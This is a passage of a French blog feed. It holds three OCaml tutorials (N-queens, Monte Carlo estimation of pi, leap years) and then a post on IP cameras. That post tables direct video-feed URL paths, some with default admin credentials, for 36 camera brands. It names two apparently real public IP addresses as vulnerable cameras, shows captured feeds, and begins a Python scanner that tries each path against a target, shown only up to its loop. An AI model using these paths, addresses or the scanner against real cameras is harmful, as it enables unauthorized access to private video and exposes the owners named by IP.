<span class="o">:</span> <span class="kt">int</span> <span class="kt">list</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">2</span><span class="p">;</span> <span class="mi">4</span><span class="p">;</span> <span class="mi">1</span><span class="p">;</span> <span class="mi">3</span><span class="p">];</span> <span class="p">[</span><span class="mi">3</span><span class="p">;</span> <span class="mi">1</span><span class="p">;</span> <span class="mi">4</span><span class="p">;</span> <span class="mi">2</span><span class="p">]]</span>
</code></pre></div></div>

<p>Ici, chaque liste représente une solution possible pour 4 reines sur un échiquier 4×4.</p>

<h2 id="visualiser-une-solution">Visualiser une solution</h2>

<p>Pour mieux comprendre, voici une fonction qui affiche joliment une solution :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">print_solution</span> <span class="n">sol</span> <span class="o">=</span>
<span class="nn">List</span><span class="p">.</span><span class="n">iter</span> <span class="p">(</span><span class="k">fun</span> <span class="n">col</span> <span class="o">-&gt;</span>
<span class="k">for</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span> <span class="k">to</span> <span class="nn">List</span><span class="p">.</span><span class="n">length</span> <span class="n">sol</span> <span class="k">do</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">=</span> <span class="n">col</span> <span class="k">then</span> <span class="n">print_string</span> <span class="s2">"Q "</span> <span class="k">else</span> <span class="n">print_string</span> <span class="s2">". "</span>
<span class="k">done</span><span class="p">;</span>
<span class="n">print_newline</span> <span class="bp">()</span>
<span class="p">)</span> <span class="n">sol</span><span class="p">;</span>
<span class="n">print_newline</span> <span class="bp">()</span>
</code></pre></div></div>

<h2 id="essayez-par-vous-même">Essayez par vous-même !</h2>

<p>Vous pouvez tester ce code dans votre compilateur ou interpréteur OCaml (<code class="language-plaintext highlighter-rouge">ocamlc</code>, <code class="language-plaintext highlighter-rouge">ocamlopt</code>) ou en ligne sur :<br />
<a href="https://try.ocamlpro.com/">https://try.ocamlpro.com/</a></p>

<blockquote>
  <p><strong>Astuce</strong> : Essayez d’augmenter la taille de l’échiquier. Pour N=8, il existe 92 solutions différentes ! Le backtracking vous montrera toute la puissance de la programmation récursive et de la logique combinatoire.</p>
</blockquote>

<p><em>Le problème des N-reines, c’est la beauté de la simplicité alliée à la profondeur de la logique. À vous de jouer !</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="caml" /><category term="exercice" /><category term="algo" /><summary type="html"><![CDATA[Il existe des casse-têtes qui traversent les siècles et fascinent autant les mathématiciens que les amateurs de jeux de réflexion. Le problème des N-reines en fait partie. Derrière sa simplicité apparente se cache un défi algorithmique redoutable, qui met à l’épreuve la logique, la patience et la créativité.]]></summary></entry><entry><title type="html">Quand l’aléatoire rencontre les maths</title><link href="https://blog.keanyvykhun.com/caml/exercice/2024/03/04/caml-monte-carlo.html" rel="alternate" type="text/html" title="Quand l’aléatoire rencontre les maths" /><published>2024-03-04T00:00:00+00:00</published><updated>2024-03-04T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/caml/exercice/2024/03/04/caml-monte-carlo</id><content type="html" xml:base="https://blog.keanyvykhun.com/caml/exercice/2024/03/04/caml-monte-carlo.html"><![CDATA[<p>Il y a des méthodes mathématiques qui, à première vue, semblent presque magiques. La méthode de Monte-Carlo fait partie de celles-ci. Derrière son nom évocateur de casino se cache une technique puissante, utilisée aussi bien en mathématiques qu’en physique, en finance ou en intelligence artificielle. Et pourtant, son principe est d’une simplicité déconcertante : utiliser le hasard pour approcher des résultats impossibles à calculer précisément autrement.</p>

<h2 id="un-jeu-de-hasard-pour-approcher-π">Un jeu de hasard… pour approcher π</h2>

<p>Imaginez un carré de côté 1. À l’intérieur de ce carré, on trace un quart de cercle de rayon 1, dont l’aire vaut :<br />
\(\text{Aire du quart de cercle} = \frac{\pi}{4}\)</p>

<p><img src="../../../../../assets/img/11.gif" alt="Réprésentation de la méthode Monte-Carlo" style="height: 300px;" /></p>

<p>Le principe : on “lance” des points au hasard dans le carré. Certains tombent à l’intérieur du quart de cercle, d’autres à l’extérieur.<br />
En comptant le nombre de points qui “réussissent” (c’est-à-dire qui tombent dans le quart de cercle), on peut approcher la valeur de π.</p>

<h2 id="pourquoi-ça-marche">Pourquoi ça marche ?</h2>

<p>La proportion de points à l’intérieur du quart de cercle, rapportée au nombre total de points dans le carré, donne une estimation de l’aire du quart de cercle, donc de π.</p>

\[\frac{\text{Points dans le quart de cercle}}{\text{Points dans le carré}} \approx \frac{\text{Aire du quart de cercle}}{\text{Aire du carré}} = \frac{\pi}{4}\]

<p>Il suffit alors de multiplier ce rapport par 4 pour obtenir une approximation de π :</p>

\[\pi \approx 4 \times \frac{\text{Points dans le quart de cercle}}{\text{Nombre total de points}}\]

<h2 id="implémentation-en-ocaml">Implémentation en OCaml</h2>

<p>Rien de tel que de passer à la pratique ! Voici un programme OCaml qui applique cette méthode :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">monte_carlo</span> <span class="n">iterations</span> <span class="o">=</span>
	<span class="k">let</span> <span class="k">rec</span> <span class="n">monte_carlo2</span> <span class="n">reste</span> <span class="n">total</span> <span class="o">=</span>
	<span class="k">match</span> <span class="n">reste</span> <span class="k">with</span>
	<span class="o">|</span> <span class="mi">0</span> <span class="o">-&gt;</span> <span class="k">let</span> <span class="n">pi</span> <span class="o">=</span> <span class="mi">4</span><span class="o">.</span> <span class="o">*.</span> <span class="n">float_of_int</span> <span class="n">total</span> <span class="o">/.</span> <span class="n">float_of_int</span> <span class="n">iterations</span> <span class="k">in</span>
		<span class="n">pi</span>
	<span class="o">|</span> <span class="n">_</span><span class="o">-&gt;</span> <span class="k">let</span> <span class="n">x</span> <span class="o">=</span> <span class="nn">Random</span><span class="p">.</span><span class="n">float</span> <span class="mi">1</span><span class="o">.</span> <span class="k">in</span>
		<span class="k">let</span> <span class="n">y</span> <span class="o">=</span> <span class="nn">Random</span><span class="p">.</span><span class="n">float</span> <span class="mi">1</span><span class="o">.</span> <span class="k">in</span>
		<span class="k">let</span> <span class="n">in_circle</span> <span class="o">=</span> <span class="k">if</span> <span class="n">x</span> <span class="o">*.</span> <span class="n">x</span> <span class="o">+.</span> <span class="n">y</span> <span class="o">*.</span> <span class="n">y</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="o">.</span> <span class="k">then</span>
			<span class="mi">1</span>
		<span class="k">else</span>
			<span class="mi">0</span>
		<span class="k">in</span>
			<span class="n">monte_carlo2</span> <span class="p">(</span><span class="n">reste</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="n">total</span><span class="o">+</span><span class="n">in_circle</span><span class="p">)</span>
	<span class="k">in</span>
	<span class="n">monte_carlo2</span> <span class="n">iterations</span> <span class="mi">0</span> 
</code></pre></div></div>

<p><strong>Signature du programme :</strong></p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="n">monte_carlo</span> <span class="o">:</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">float</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<h2 id="expérimentons-la-magie-et-la-limite-du-hasard">Expérimentons : la magie (et la limite) du hasard</h2>

<p>Essayons la fonction avec différents nombres de points :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="n">monte_carlo</span> <span class="mi">500</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">float</span> <span class="o">=</span> <span class="mi">3</span><span class="o">.</span><span class="mi">136</span>

<span class="o">#</span> <span class="n">monte_carlo</span> <span class="mi">5000</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">float</span> <span class="o">=</span> <span class="mi">3</span><span class="o">.</span><span class="mi">1856</span>

<span class="o">#</span> <span class="n">monte_carlo</span> <span class="mi">50000</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">float</span> <span class="o">=</span> <span class="mi">3</span><span class="o">.</span><span class="mi">14544</span>

<span class="o">#</span> <span class="n">monte_carlo</span> <span class="mi">500000</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">float</span> <span class="o">=</span> <span class="mi">3</span><span class="o">.</span><span class="mi">140144</span>
</code></pre></div></div>

<p>On observe que plus on augmente le nombre de “lancers”, plus l’approximation de π se rapproche de la valeur réelle (3.14159…).<br />
Mais il y a une limite : même avec 10 millions de points, on n’obtient que 3 à 4 décimales correctes. C’est la rançon du hasard : la précision augmente lentement avec le nombre de points.</p>

<h2 id="pourquoi-utiliser-monte-carlo">Pourquoi utiliser Monte-Carlo ?</h2>

<p>La méthode de Monte-Carlo est utilisée partout où il est difficile, voire impossible, de calculer une valeur de façon exacte.<br />
Elle est précieuse pour :</p>
<ul>
  <li><strong>Estimer des intégrales complexes</strong></li>
  <li><strong>Simuler des phénomènes physiques (diffusion, réactions nucléaires…)</strong></li>
  <li><strong>Modéliser des marchés financiers</strong></li>
  <li><strong>Tester des algorithmes d’intelligence artificielle</strong></li>
</ul>

<p>Son principal atout : la simplicité d’implémentation, même pour des problèmes très complexes.</p>

<h2 id="essayez-par-vous-même">Essayez par vous-même !</h2>

<p>Vous pouvez tester ce code directement dans votre compilateur ou interpréteur OCaml (<code class="language-plaintext highlighter-rouge">ocamlc</code>, <code class="language-plaintext highlighter-rouge">ocamlopt</code>) ou en ligne sur :<br />
<a href="https://try.ocamlpro.com/">https://try.ocamlpro.com/</a></p>

<blockquote>
  <p><strong>Conseil</strong> : Essayez de modifier le nombre d’itérations, ou d’imaginer d’autres figures géométriques à “viser” avec des points aléatoires. La méthode de Monte-Carlo n’a de limite que votre imagination !</p>
</blockquote>

<p><em>La beauté de Monte-Carlo, c’est que même le hasard, bien utilisé, peut révéler l’ordre caché du monde…</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="caml" /><category term="exercice" /><category term="algo" /><summary type="html"><![CDATA[Il y a des méthodes mathématiques qui, à première vue, semblent presque magiques. La méthode de Monte-Carlo fait partie de celles-ci. Derrière son nom évocateur de casino se cache une technique puissante, utilisée aussi bien en mathématiques qu’en physique, en finance ou en intelligence artificielle. Et pourtant, son principe est d’une simplicité déconcertante : utiliser le hasard pour approcher des résultats impossibles à calculer précisément autrement.]]></summary></entry><entry><title type="html">L’art de jongler avec le calendrier</title><link href="https://blog.keanyvykhun.com/caml/exercice/2024/03/03/caml-annees-bissextiles.html" rel="alternate" type="text/html" title="L’art de jongler avec le calendrier" /><published>2024-03-03T00:00:00+00:00</published><updated>2024-03-03T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/caml/exercice/2024/03/03/caml-annees-bissextiles</id><content type="html" xml:base="https://blog.keanyvykhun.com/caml/exercice/2024/03/03/caml-annees-bissextiles.html"><![CDATA[<p>Il y a des mystères du quotidien auxquels on ne pense pas toujours. Pourquoi février a-t-il parfois 29 jours ? Qu’est-ce qui rend une année « bissextile » ? Derrière cette question, se cachent des siècles d’histoire, d’astronomie et… un petit défi algorithmique parfait pour s’initier à la logique en programmation.</p>

<h2 id="un-peu-dhistoire-et-de-logique">Un peu d’histoire et de logique</h2>

<p>L’année bissextile, c’est un ajustement du calendrier pour coller au plus près de la durée réelle de la révolution de la Terre autour du Soleil.<br />
Mais comment savoir si une année est bissextile ?<br />
La règle :</p>

<ul>
  <li>Une année est bissextile si elle est divisible par 4 <strong>et</strong> non divisible par 100,</li>
  <li><strong>ou</strong> si elle est divisible par 400.</li>
</ul>

<p>Autrement dit, 2000 est bissextile, 1900 ne l’est pas, 2024 l’est, 2023 ne l’est pas.</p>

<h2 id="traduire-la-règle-en-code-ocaml">Traduire la règle en code OCaml</h2>

<p>Écrire ce test en OCaml, c’est transformer la logique en instructions précises :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">is_bissextile</span> <span class="n">year</span> <span class="o">=</span>
	<span class="k">if</span> <span class="n">year</span> <span class="ow">mod</span> <span class="mi">4</span> <span class="o">=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">year</span> <span class="ow">mod</span> <span class="mi">100</span> <span class="o">&lt;&gt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">year</span> <span class="ow">mod</span> <span class="mi">400</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">then</span>
		<span class="bp">true</span>
	<span class="k">else</span>
		<span class="bp">false</span>
</code></pre></div></div>

<p><strong>Signature du programme :</strong></p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="n">is_bissextile</span> <span class="o">:</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">bool</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>On aurait pu écrire ce test sur une seule ligne, mais pour la clarté et la pédagogie, il est parfois préférable de détailler la logique.</p>

<h2 id="exemples-dutilisation">Exemples d’utilisation</h2>

<p>Essayons la fonction sur quelques cas classiques :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">is_bissextile</span> <span class="mi">2024</span><span class="p">;;</span>
<span class="o">:</span> <span class="kt">bool</span> <span class="o">=</span> <span class="bp">true</span>

<span class="n">is_bissextile</span> <span class="mi">2023</span><span class="p">;;</span>
<span class="o">:</span> <span class="kt">bool</span> <span class="o">=</span> <span class="bp">false</span>

<span class="n">is_bissextile</span> <span class="mi">2000</span><span class="p">;;</span>
<span class="o">:</span> <span class="kt">bool</span> <span class="o">=</span> <span class="bp">true</span>

<span class="n">is_bissextile</span> <span class="mi">1900</span><span class="p">;;</span>
<span class="o">:</span> <span class="kt">bool</span> <span class="o">=</span> <span class="bp">false</span>
</code></pre></div></div>

<h2 id="pour-aller-plus-loin--version-compacte">Pour aller plus loin : version compacte</h2>

<p>Pour les amateurs de concision, on peut écrire directement :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">is_bissextile</span> <span class="n">year</span> <span class="o">=</span>
<span class="p">(</span><span class="n">year</span> <span class="ow">mod</span> <span class="mi">4</span> <span class="o">=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">year</span> <span class="ow">mod</span> <span class="mi">100</span> <span class="o">&lt;&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="n">year</span> <span class="ow">mod</span> <span class="mi">400</span> <span class="o">=</span> <span class="mi">0</span>
</code></pre></div></div>

<h2 id="essayez-par-vous-même">Essayez par vous-même !</h2>

<p>Vous pouvez tester ce code directement dans votre compilateur ou interpréteur OCaml (<code class="language-plaintext highlighter-rouge">ocamlc</code>, <code class="language-plaintext highlighter-rouge">ocamlopt</code>) ou en ligne sur :<br />
<a href="https://try.ocamlpro.com/">https://try.ocamlpro.com/</a></p>

<blockquote>
  <p><strong>Astuce</strong> : Pour créer un calendrier perpétuel ou générer des dates valides, savoir détecter une année bissextile est indispensable. C’est aussi un excellent exercice pour s’entraîner à la logique booléenne !</p>
</blockquote>

<p><em>La beauté de l’algorithmique, c’est de voir comment une règle millénaire peut tenir en quelques lignes de code…</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="caml" /><category term="exercice" /><category term="algo" /><summary type="html"><![CDATA[Il y a des mystères du quotidien auxquels on ne pense pas toujours. Pourquoi février a-t-il parfois 29 jours ? Qu’est-ce qui rend une année « bissextile » ? Derrière cette question, se cachent des siècles d’histoire, d’astronomie et… un petit défi algorithmique parfait pour s’initier à la logique en programmation.]]></summary></entry><entry><title type="html">36 modèles de caméras IP vulnérables</title><link href="https://blog.keanyvykhun.com/r%C3%A9seau/iot/2023/11/08/vuln%C3%A9rabilit%C3%A9s-cam%C3%A9ras-ip.html" rel="alternate" type="text/html" title="36 modèles de caméras IP vulnérables" /><published>2023-11-08T00:00:00+00:00</published><updated>2023-11-08T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/r%C3%A9seau/iot/2023/11/08/vuln%C3%A9rabilit%C3%A9s-cam%C3%A9ras-ip</id><content type="html" xml:base="https://blog.keanyvykhun.com/r%C3%A9seau/iot/2023/11/08/vuln%C3%A9rabilit%C3%A9s-cam%C3%A9ras-ip.html"><![CDATA[<p>Il y a des découvertes qui font froid dans le dos, surtout lorsqu’elles touchent à notre vie privée. Un soir, alors que je parcourais le web à la recherche de failles de sécurité, je suis tombé sur un constat troublant : des centaines de milliers de caméras IP, installées partout dans le monde, sont accessibles publiquement… souvent sans même que leurs propriétaires ne s’en doutent.</p>

<h2 id="quand-la-sécurité-passe-à-la-trappe">Quand la sécurité passe à la trappe</h2>

<p>La plupart de ces caméras sont livrées avec une interface web, protégée par une page de connexion. Mais trop souvent, les utilisateurs oublient de modifier les identifiants par défaut fournis par le constructeur. Résultat : n’importe qui, avec un peu de curiosité, peut accéder à des flux vidéo privés.<br />
Et même lorsque les identifiants sont changés, certains modèles souffrent de failles qui permettent de contourner la sécurité et d’accéder directement au flux vidéo.</p>

<p>Prenons un exemple concret : une caméra Hi3516, accessible sur l’IP <code class="language-plaintext highlighter-rouge">46.8.54.190:81</code>.</p>

<p><img src="../../../../../assets/img/7.png" alt="Flux vidéo de la caméra" /></p>

<h2 id="cartographie-des-vulnérabilités-36-modèles-dans-le-viseur">Cartographie des vulnérabilités : 36 modèles dans le viseur</h2>

<p>Pour mieux comprendre l’étendue du problème, j’ai mené mes propres recherches et dressé un tableau des modèles vulnérables et des chemins d’accès aux flux vidéo.<br />
Voici un extrait du tableau :</p>

<table>
  <thead>
    <tr>
      <th>Modèle</th>
      <th>Chemin de la vulnérabilité</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Android-IPWebcam</td>
      <td>http://ip:port/shot.jpg?rnd=654321</td>
    </tr>
    <tr>
      <td>Axis</td>
      <td>http://ip:port/mjpg/video.mjpg</td>
    </tr>
    <tr>
      <td>Axis2</td>
      <td>http://ip:port/axis-cgi/mjpg/video.cgi?camera=&amp;resolution=640x480</td>
    </tr>
    <tr>
      <td>AxisMkII</td>
      <td>http://ip:port/jpg/image.jpg?COUNTER</td>
    </tr>
    <tr>
      <td>BlueIris</td>
      <td>http://ip:port/image/Index?time=0</td>
    </tr>
    <tr>
      <td>Bosch</td>
      <td>http://ip:port/snap.jpg?JpegSize=M&amp;JpegCam=1&amp;r=COUNTER</td>
    </tr>
    <tr>
      <td>Canon</td>
      <td>http://ip:port/-wvhttp-01-/GetOneShot?image_size=640x480&amp;frame_count=1000000000</td>
    </tr>
    <tr>
      <td>ChannelVision</td>
      <td>http://ip:port/GetData.cgi?CH=1</td>
    </tr>
    <tr>
      <td>Dahua</td>
      <td>http://ip:port/cgi-bin/snapshot.cgi</td>
    </tr>
    <tr>
      <td>Defeway</td>
      <td>http://ip:port/cgi-bin/snapshot.cgi?chn=0&amp;u=admin&amp;p=&amp;q=0&amp;COUNTER</td>
    </tr>
    <tr>
      <td>DLink</td>
      <td>http://ip:port/video/mjpg.cgi</td>
    </tr>
    <tr>
      <td>DLink-DCS-932</td>
      <td>http://ip:port/mjpeg.cgi</td>
    </tr>
    <tr>
      <td>Foscam</td>
      <td>http://ip:port/videostream.cgi?user=admin&amp;pwd=</td>
    </tr>
    <tr>
      <td>FoscamIPCam</td>
      <td>http://ip:port/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&amp;usr=admin&amp;pwd=&amp;COUNTER</td>
    </tr>
    <tr>
      <td>Fullhan</td>
      <td>http://ip:port/cgi-bin/snapshot.cgi?COUNTER</td>
    </tr>
    <tr>
      <td>GK7205</td>
      <td>(non documenté)</td>
    </tr>
    <tr>
      <td>Hi3516</td>
      <td>http://ip:port/webcapture.jpg?command=snap&amp;channel=1?COUNTER</td>
    </tr>
    <tr>
      <td>Linksys</td>
      <td>http://ip:port/img/video.mjpeg</td>
    </tr>
    <tr>
      <td>Megapixel</td>
      <td>http://ip:port/jpgmulreq/1/image.jpg?key=1516975535684&amp;lq=1&amp;COUNTER</td>
    </tr>
    <tr>
      <td>Mobotix</td>
      <td>http://ip:port/cgi-bin/faststream.jpg?stream=half&amp;fps=15&amp;rand=COUNTER</td>
    </tr>
    <tr>
      <td>Motion</td>
      <td>(non documenté)</td>
    </tr>
    <tr>
      <td>Panasonic</td>
      <td>http://ip:port/SnapshotJPEG?Resolution=640x480&amp;Quality=Clarity&amp;COUNTER</td>
    </tr>
    <tr>
      <td>PanasonicHD</td>
      <td>http://ip:port/cgi-bin/camera?resolution=640&amp;quality=1&amp;Language=0&amp;COUNTER</td>
    </tr>
    <tr>
      <td>Sony</td>
      <td>http://ip:port/oneshotimage1?COUNTER</td>
    </tr>
    <tr>
      <td>Sony-CS3</td>
      <td>http://ip:port/image?speed=0</td>
    </tr>
    <tr>
      <td>StarDot</td>
      <td>http://ip:port/nph-jpeg.cgi?0</td>
    </tr>
    <tr>
      <td>Streamer</td>
      <td>http://ip:port/?action=stream</td>
    </tr>
    <tr>
      <td>SunellSecurity</td>
      <td>http://ip:port/onvif/snapshot/1/11</td>
    </tr>
    <tr>
      <td>Toshiba</td>
      <td>http://ip:port/__live.jpg?&amp;&amp;&amp;COUNTER</td>
    </tr>
    <tr>
      <td>TPLink</td>
      <td>http://ip:port/jpg/image.jpg?COUNTER</td>
    </tr>
    <tr>
      <td>Vije</td>
      <td>http://ip:port/asp/video.cgi</td>
    </tr>
    <tr>
      <td>Vivotek</td>
      <td>http://ip:port/cgi-bin/viewer/video.jpg?r=COUNTER</td>
    </tr>
    <tr>
      <td>WebcamXP</td>
      <td>http://ip:port/cam_1.cgi</td>
    </tr>
    <tr>
      <td>WIFICam</td>
      <td>(non documenté)</td>
    </tr>
    <tr>
      <td>WYM</td>
      <td>(non documenté)</td>
    </tr>
    <tr>
      <td>Yawcam</td>
      <td>http://ip:port/out.jpg?q=30&amp;id=0.1317044913727916&amp;r=COUNTER</td>
    </tr>
  </tbody>
</table>

<p>Comme vous pouvez le constater, il existe des chemins d’accès directs à la plupart des flux vidéo, souvent sans authentification supplémentaire.</p>

<h2 id="la-preuve-par-lexemple-analyse-dune-caméra-vulnérable">La preuve par l’exemple : analyse d’une caméra vulnérable</h2>

<p>Pour mieux illustrer le problème, j’ai réalisé un scan Nmap sur l’IP vulnérable <code class="language-plaintext highlighter-rouge">90.189.182.80</code> :</p>

<p><img src="../../../../../assets/img/6.png" alt="Scan nmap" /></p>

<p>On observe que plusieurs ports sont ouverts, ce qui multiplie les points d’entrée potentiels.<br />
Même si la plupart des constructeurs ont mis en place des pages de connexion :</p>

<p><img src="../../../../../assets/img/4.png" alt="Page de connexion d'une caméra" /></p>

<p>…il s’avère que ces protections sont parfois inefficaces, comme le montre ce test :</p>

<p><img src="../../../../../assets/img/5.png" alt="Flux vidéo de la caméra" /></p>

<p>Ici, le modèle Fullhan est clairement identifié grâce à l’URI, et la présence d’une interface Herospeed sur un autre port confirme l’origine de la solution.</p>

<p><img src="../../../../../assets/img/8.png" alt="Interface Herospeed" /></p>

<h2 id="automatiser-la-détection--un-script-pour-révéler-les-failles">Automatiser la détection : un script pour révéler les failles</h2>

<p>Pour aller plus loin, j’ai développé un script Python qui automatise la détection des vulnérabilités sur une IP donnée.<br />
Ce script teste les chemins connus pour chaque modèle et affiche les flux accessibles.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span><span class="p">,</span> <span class="n">time</span>
<span class="kn">from</span> <span class="nn">requests.packages.urllib3.exceptions</span> <span class="kn">import</span> <span class="n">InsecureRequestWarning</span>
<span class="kn">from</span> <span class="nn">colorama</span> <span class="kn">import</span> <span class="n">init</span><span class="p">,</span> <span class="n">Fore</span><span class="p">,</span> <span class="n">Style</span>

<span class="n">init</span><span class="p">()</span>

<span class="n">requests</span><span class="p">.</span><span class="n">packages</span><span class="p">.</span><span class="n">urllib3</span><span class="p">.</span><span class="n">disable_warnings</span><span class="p">(</span><span class="n">InsecureRequestWarning</span><span class="p">)</span>

<span class="c1"># Liste des modèles vulnérables
</span><span class="n">model</span> <span class="o">=</span> <span class="p">[</span><span class="s">"Android-IPWebcam"</span><span class="p">,</span> <span class="s">"Axis"</span><span class="p">,</span> <span class="s">"Axis2"</span><span class="p">,</span> <span class="s">"AxisMkII"</span><span class="p">,</span> <span class="s">"BlueIris"</span><span class="p">,</span> <span class="s">"Bosch"</span><span class="p">,</span> <span class="s">"Canon"</span><span class="p">,</span> <span class="s">"ChannelVision"</span><span class="p">,</span> <span class="s">"Dahua"</span><span class="p">,</span> <span class="s">"Defeway"</span><span class="p">,</span> <span class="s">"DLink"</span><span class="p">,</span> <span class="s">"DLink-DCS-932"</span><span class="p">,</span> <span class="s">"Foscam"</span><span class="p">,</span> <span class="s">"FoscamIPCam"</span><span class="p">,</span> <span class="s">"Fullhan"</span><span class="p">,</span> <span class="s">"GK7205"</span><span class="p">,</span> <span class="s">"Hi3516"</span><span class="p">,</span> <span class="s">"Linksys"</span><span class="p">,</span> <span class="s">"Megapixel"</span><span class="p">,</span> <span class="s">"Mobotix"</span><span class="p">,</span> <span class="s">"Motion"</span><span class="p">,</span> <span class="s">"Panasonic"</span><span class="p">,</span> <span class="s">"PanasonicHD"</span><span class="p">,</span> <span class="s">"Sony"</span><span class="p">,</span> <span class="s">"Sony-CS3"</span><span class="p">,</span> <span class="s">"StarDot"</span><span class="p">,</span> <span class="s">"Streamer"</span><span class="p">,</span> <span class="s">"SunellSecurity"</span><span class="p">,</span> <span class="s">"Toshiba"</span><span class="p">,</span> <span class="s">"TPLink"</span><span class="p">,</span> <span class="s">"Vije"</span><span class="p">,</span> <span class="s">"Vivotek"</span><span class="p">,</span> <span class="s">"WebcamXP"</span><span class="p">,</span> <span class="s">"WIFICam"</span><span class="p">,</span> <span class="s">"WYM"</span><span class="p">,</span> <span class="s">"Yawcam"</span><span class="p">]</span>
<span class="c1"># Liste des URIs accessibles
</span><span class="n">uri_vuln</span> <span class="o">=</span> <span class="p">[</span><span class="s">"shot.jpg?rnd=654321"</span><span class="p">,</span> <span class="s">"mjpg/video.mjpg"</span><span class="p">,</span> <span class="s">"axis-cgi/mjpg/video.cgi?camera=&amp;resolution=640x480"</span><span class="p">,</span> <span class="s">"jpg/image.jpg?COUNTER"</span><span class="p">,</span> <span class="s">"image/Index?time=0"</span><span class="p">,</span> <span class="s">"snap.jpg?JpegSize=M&amp;JpegCam=1&amp;r=COUNTER"</span><span class="p">,</span> <span class="s">"GetOneShot?image_size=640x480&amp;frame_count=1000000000"</span><span class="p">,</span> <span class="s">"GetData.cgi?CH=1"</span><span class="p">,</span> <span class="s">"cgi-bin/snapshot.cgi"</span><span class="p">,</span> <span class="s">"cgi-bin/snapshot.cgi?chn=0&amp;u=admin&amp;p=&amp;q=0&amp;COUNTER"</span><span class="p">,</span> <span class="s">"video/mjpg.cgi"</span><span class="p">,</span> <span class="s">"mjpeg.cgi"</span><span class="p">,</span> <span class="s">"videostream.cgi?user=admin&amp;pwd="</span><span class="p">,</span> <span class="s">"cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&amp;usr=admin&amp;pwd=&amp;COUNTER"</span><span class="p">,</span> <span class="s">"cgi-bin/snapshot.cgi?COUNTER"</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span><span class="s">"webcapture.jpg?command=snap&amp;channel=1?COUNTER"</span><span class="p">,</span> <span class="s">"img/video.mjpeg"</span><span class="p">,</span> <span class="s">"jpgmulreq/1/image.jpg?key=1516975535684&amp;lq=1&amp;COUNTER"</span><span class="p">,</span> <span class="s">"cgi-bin/faststream.jpg?stream=half&amp;fps=15&amp;rand=COUNTER"</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="s">"SnapshotJPEG?Resolution=640x480&amp;Quality=Clarity&amp;COUNTER"</span><span class="p">,</span> <span class="s">"cgi-bin/camera?resolution=640&amp;quality=1&amp;Language=0&amp;COUNTER"</span><span class="p">,</span> <span class="s">"oneshotimage1?COUNTER"</span><span class="p">,</span> <span class="s">"image?speed=0"</span><span class="p">,</span> <span class="s">"nph-jpeg.cgi?0"</span><span class="p">,</span> <span class="s">"?action=stream"</span><span class="p">,</span> <span class="s">"onvif/snapshot/1/11"</span><span class="p">,</span> <span class="s">"__live.jpg?&amp;&amp;&amp;COUNTER"</span><span class="p">,</span> <span class="s">"jpg/image.jpg?COUNTER"</span><span class="p">,</span> <span class="s">"asp/video.cgi"</span><span class="p">,</span> <span class="s">"cgi-bin/viewer/video.jpg?r=COUNTER"</span><span class="p">,</span> <span class="s">"cam_1.cgi"</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="s">"out.jpg?q=30&amp;id=0.1317044913727916&amp;r=COUNTER"</span><span class="p">]</span>

<span class="c1"># Fonction qui va tester si les URIs sont accessibles
</span><span class="k">def</span> <span class="nf">scan_cam</span><span class="p">(</span><span class="n">ip</span><span class="p">):</span>
	<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">model</span><span class="p">)):</span>
		<span class="k">try</span><span class="p">:</span>
			<span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"http://</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">uri_vuln</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s">"</span>
